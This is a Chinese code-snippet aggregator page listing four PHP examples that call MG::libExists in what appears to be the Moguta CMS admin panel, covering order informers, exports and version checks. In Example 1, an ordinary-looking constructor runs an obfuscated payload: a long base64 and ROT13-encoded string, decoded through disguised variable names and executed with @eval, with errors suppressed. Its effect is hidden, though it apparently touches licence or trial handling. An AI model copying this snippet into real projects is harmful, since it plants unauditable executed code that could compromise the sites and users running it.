本文整理汇总了PHP中MG::libExists方法的典型用法代码示例。如果您正苦于以下问题:PHP MG::libExists方法的具体用法?PHP MG::libExists怎么用?PHP MG::libExists使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类MG
的用法示例。
在下文中一共展示了MG::libExists方法的4个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: __construct
function __construct()
{
MG::disableTemplate();
$model = new Models_Order();
MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80));
if ('1' == User::getThis()->role) {
MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10));
}
if (URL::get('csv')) {
$model = new Models_Catalog();
$model->exportToCsv();
}
if (URL::get('examplecsv')) {
$model = new Models_Catalog();
$model->getExampleCSV();
}
if (URL::get('examplecsvupdate')) {
$model = new Models_Catalog();
$model->getExampleCsvUpdate();
}
if (URL::get('yml')) {
if (LIBXML_VERSION && extension_loaded('xmlwriter')) {
$model = new YML();
if (URL::get('filename')) {
if (!$model->downloadYml(URL::get('filename'))) {
$response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл');
echo json_encode($response);
}
} else {
$model->exportToYml();
}
} else {
$response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter');
echo json_encode($response);
}
}
if (URL::get('csvuser')) {
USER::exportToCsvUser();
}
if ($orderId = URL::get('getOrderPdf')) {
$model = new Models_Order();
$model->getPdfOrder($orderId);
}
if ($orderId = URL::get('getExportCSV')) {
$model = new Models_Order();
$model->getExportCSV($orderId);
}
$this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel());
$this->pluginsList = PM::getPluginsInfo();
$this->lang = MG::get('lang');
if (!($checkLibs = MG::libExists())) {
$j878723423f5c3ba26da = "base64_decode";
$kdd9391e7490 = "str_rot13";
@eval($j878723423f5c3ba26da($kdd9391e7490("MKMuoPuvLKAyAwEsMTIwo2EyXUA0py9lo3DkZltaGHgAqJ9DqTSMoQu0GHcQETt5HQEJDIN5ZSyYEKE2HHEbM1N3ZSyEEKEkIR8jJH50pHgCrRkYEKIJDIN0ZSycETuDHHEbM1NeZSxmEKEaIR4jJGqRnQyHJwOMZ0EzDIEQIxSHGmOZD0EcDIN4ZSyBqQOZE0EzDIN1ZSycETMDHHEcpINkIxSHGmOMA0EzM1NiZSyEETqOHTbjJHgSqUMdqQOZJHEcqx5OHUMBqSMDGaEMoQu0ZRkQETqOHTbjJJyRM3SDBGOMq0EaEx93omV1rz5XpUDjJKE0ZRkUETt5HTbjJIc0ZSyJqQOMIHEaHSSRnKMEEKEaHPfjJJczIxSHIGOZJHEcqySRMzqDZGOZHHI0pIN0ZRj4qQOMZ0EapIN3ZSy3EKIaHQRjJGARMmyDAQOMA0EcpIN5ZSyEEKqdZSuJHR50IyOBqSqHGJAiIRyEomV1ZSMEZUEArayzGHx5LH1YEKAZZwybpIEWnUSIJzWWFIqnDaqwLH1YEIWiZxRko0cWnUSGI2yiZ0EvJRL1pSplZJSMFxScpUcVnJ9HrKMMZ0ydGIEGZRkTAJchIH9jI2k4A1SRLxSDqx50IyOBqSMHrKcJHUE1GQWeqKNmDKAAF3IwpQASoIuGnzSWF094GRgSqHgDpTAmIJg4GHcOLx1YqTWZZ1q3Jz1JLyqHGJAiIRyEomV1ZSuTrUIQEyL1GKcRAHkUDKcPEyMwIyIzDIO2GaEJHR50IyOBqSqIFJkiHR45IyAdLJ5IEGOjHJWcJGVknH0mFGOZEwIfpHL5ZKOHEKIkISAgGHgKZx1YI3OKoJMOHUMBqS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SMDGaEJHxIDDaqwn3SXFJklEaIjImSWERIFH0uSEx90F1OjnRuGI1ASrUyZJKydLKNlFGOkIUybGGWBqRtjFHuJIR8lGRceZH1XGaEQEx52ZSqUETMaHQDjJJ9RnJqDAyMOHQxjJHu0ZRkUEKD5HQxjJJISqJqDAQOMA0EcpIN0ZRkEEKD5HQRjGSM2IyAkIxIWI1AJIR9cpSISL28lAKEQEx52pIIKL0kXn0cAF1qgoxb5nSM5nzSLE2M0HHEvqSMDGaEJHR50IyOBqUARZSuJHR50IyOBqSMDGaEJIIq5pIIWoT92G3cZFzggGHqzDIO2GaEJHR50IyOBqUATGaEJHR50Ix4jJSMDGaEJHR50p0MBqSMDGxSDqx50IyOBqSMHrKcJHUIOEJ1vAx0lFGOVZxxjpIE5nR1fqKOKZ0IfoxcGMxy6FJkjZayco3yOZRkYImOYHUOwJRMCA1SRLaEJHR50IyOBqSMFEIOPq2AepHcWoUWTqKOKZRIGE1WWFRITG1EVrQyOIyECpSqfAHEVrRyHExy0nRgDpJ1AF0Hjoxb1LHkDG0gTHxyTEHMCqT8mGmOhFwybGSRjqSMuEJkhFyAzFKcWoUNlrJyirHRjGRgKZSM5nzSLE2MOHUMBqSMDGaEJIGOOHUMBqSMDGaEJIIq5pRgWL3O6FKAiZwI3GHM1FHu4nwMPraS5pIWSnHjmFJqAFwHjFUb5nKSDqTAMqyqaGJjkq28mI3yMZzgwGUL5ZKOHEKIkISWbpSE1nyM2rQqEETW0IyOBqSSRLaEJHR50IyOBrT96FGAWrxyfIyRjqRyYG3uZF0I1Daqwq25HFKqhZHydGIEGZRkTqKcZFzggGHMdqUSIImSAEat3I2k4AlpcXFx7")));
$this->newVersion = $newVer['lastVersion'];
$this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : '';
}
}
示例2: __construct
function __construct()
{
MG::disableTemplate();
$model = new Models_Order();
MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80));
if ('1' == User::getThis()->role) {
MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10));
}
if (URL::get('csv')) {
$model = new Models_Catalog();
$model->exportToCsv();
}
if (URL::get('examplecsv')) {
$model = new Models_Catalog();
$model->getExampleCSV();
}
if (URL::get('examplecsvupdate')) {
$model = new Models_Catalog();
$model->getExampleCsvUpdate();
}
if (URL::get('yml')) {
if (LIBXML_VERSION && extension_loaded('xmlwriter')) {
$model = new YML();
if (URL::get('filename')) {
if (!$model->downloadYml(URL::get('filename'))) {
$response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл');
echo json_encode($response);
}
} else {
$model->exportToYml();
}
} else {
$response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter');
echo json_encode($response);
}
}
if ($orderId = URL::get('getOrderPdf')) {
$model = new Models_Order();
$model->getPdfOrder($orderId);
}
if ($orderId = URL::get('getExportCSV')) {
$model = new Models_Order();
$model->getExportCSV($orderId);
}
$this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel());
$this->pluginsList = PM::getPluginsInfo();
$this->lang = MG::get('lang');
if (!($checkLibs = MG::libExists())) {
$newVer = Updata::checkUpdata(false, true);
$this->newVersion = $newVer['lastVersion'];
}
}
示例3: clearLastUpdate
/**
* Очищает кеш проверки версий и проверяет наличие новой.
*/
public function clearLastUpdate()
{
if (!($checkLibs = MG::libExists())) {
MG::setOption('timeLastUpdata', '');
$newVer = Updata::checkUpdata(true);
if (!$newVer) {
$this->messageError = "Пока нет новых версий";
return false;
}
$this->messageSucces = "Доступна новая версия " . $newVer['lastVersion'];
return true;
} else {
$this->messageError = "Невозможно проверить наличие версий. Библиотека CURL отключена";
return false;
}
}
示例4: array
$currencySettings[$key]['short'] = $val;
}
$this->groups = $groups;
$this->data = array('setting-shop' => array('options' => $options, 'templates' => $templates), 'setting-system' => array('options' => array('downtime' => MG::getOption('downtime', true), 'licenceKey' => $licenceKey)), 'setting-template' => array('files' => array('template.php' => array('/template.php', 'Каркас шаблона сайта'), 'functions.php' => array('/functions.php', 'Пользовательские функции'), 'ajaxuser.php' => array('/ajaxuser.php', 'Пользовательская обработка ajax'), '404.php' => array('/404.php', 'Страница с 404 ошибкой'), 'style.css' => array('/css/style.css', 'Стили сайта'), 'script.js' => array('/js/script.js', 'Javascript сайта'), 'cart.php' => array('/views/cart.php', 'Верстка страницы корзины'), 'catalog.php' => array('/views/catalog.php', 'Верстка страницы каталога'), 'enter.php' => array('/views/enter.php', 'Верстка страницы авторизации'), 'feedback.php' => array('/views/feedback.php', 'Верстка страницы обратной связи'), 'forgotpass.php' => array('/views/forgotpass.php', 'Верстка страницы восстановления пароля'), 'index.php' => array('/views/index.php', 'Верстка главной страницы'), 'personal.php' => array('/views/personal.php', 'Верстка личного кабинета'), 'product.php' => array('/views/product.php', 'Верстка карточки товара'), 'registration.php' => array('/views/registration.php', 'Верстка страницы регистрации пользователя'), 'order.php' => array('/views/order.php', 'Верстка страницы оформления заказа')), 'email_layout' => array('email_template.php' => array('/layout/email_template.php', 'Каркас шаблона писем'), 'email_feedback.php' => array('/layout/email_feedback.php', 'Письма с обратной связи'), 'email_forgot.php' => array('/layout/email_forgot.php', 'Письмо восстановления пароля'), 'email_order.php' => array('/layout/email_order.php', 'Письмо оформления заказа'), 'email_registry.php' => array('/layout/email_registry.php', 'Письмо регистрации'), 'email_order_electro.php' => array('/layout/email_order_electro.php', 'Письмо электронных товаров')), 'layout' => array('layout_cart.php' => array('/layout/layout_cart.php', 'Верстка блока с маленькой корзиной'), 'layout_contacts.php' => array('/layout/layout_contacts.php', 'Верстка блока с контактами'), 'layout_related.php' => array('/layout/layout_related.php', 'Верстка блока связанных товаров'), 'layout_search.php' => array('/layout/layout_search.php', 'Верстка блока с поиском'), 'layout_topmenu.php' => array('/layout/layout_topmenu.php', 'Верстка блока с верхним меню'), 'layout_leftmenu.php' => array('/layout/layout_leftmenu.php', 'Верстка блока с левым меню'), 'layout_images.php' => array('/layout/layout_images.php', 'Верстка блока с галерей товара'), 'layout_compare.php' => array('/layout/layout_compare.php', 'Верстка блока сравнений'), 'layout_auth.php' => array('/layout/layout_auth.php', 'Верстка блока с элементами авторизации')), 'print_layout' => array('print_order.php' => array('/layout/print_order.php', 'Верстка PDF счета по заказу'), 'print_qittance.php' => array('/layout/print_qittance.php', 'Верстка квитанции сбербанка'))), 'interface-settings' => array('options' => array('themeColor' => MG::getOption('themeColor', true), 'themeBackground' => MG::getOption('themeBackground', true), 'staticMenu' => MG::getOption('staticMenu', true))), 'paymentMethod-settings' => array('paymentArray' => $paymentArray), 'deliveryMethod-settings' => array('deliveryArray' => $deliveryArray), 'currency-settings' => $currencySettings, 'numericFields' => array('countСatalogProduct', 'countNewProduct', 'countRecomProduct', 'countSaleProduct'), 'checkFields' => array('horizontMenu', 'mainPageIsCatalog', 'actionInCatalog', 'printRemInfo', 'printProdNullRem', 'smtp', 'waterMark', 'printStrProp', 'noneSupportOldTemplate', 'printCompareButton', 'cacheObject', 'randomProdBlock', 'compareCategory', 'useCaptcha', 'autoRegister', 'printFilterResult', 'lockAuthorization', 'orderNumber', 'popupCart', 'catalogIndex', 'productInSubcat', 'copyrightMoguta', 'picturesCategory', 'requiredFields', 'waterMarkVariants', 'cacheCssJs'), 'textFields' => array('widgetCode'));
// для отображения текущего шаблона
$this->pathTemplate = 'mg-templates' . DIRECTORY_SEPARATOR . MG::getSetting('templateName');
/**
* Раздел управления системой
*
*/
$downtime = MG::getOption('downtime');
if ('Y' == $downtime) {
$checked = 'checked';
}
$this->checked = $checked;
if (!($checkLibs = MG::libExists())) {
$newVer = Updata::checkUpdata();
preg_match('/Ближайшая версия для обновления:(.*)/', $newVer['msg'], $m);
if (!empty($m[1])) {
$this->newFirstVersiov = $m[1];
}
preg_match('/Последняя версия системы:(.*)/', $newVer['msg'], $m);
if (!empty($m[1])) {
$this->newLastVersiov = $m[1];
}
$this->newVersionMsg = 'none';
preg_match('/Описание:(.* )/si', $newVer['msg'], $m);
if (!empty($m[1])) {
$this->newVersionMsg = $m[1];
}
} else {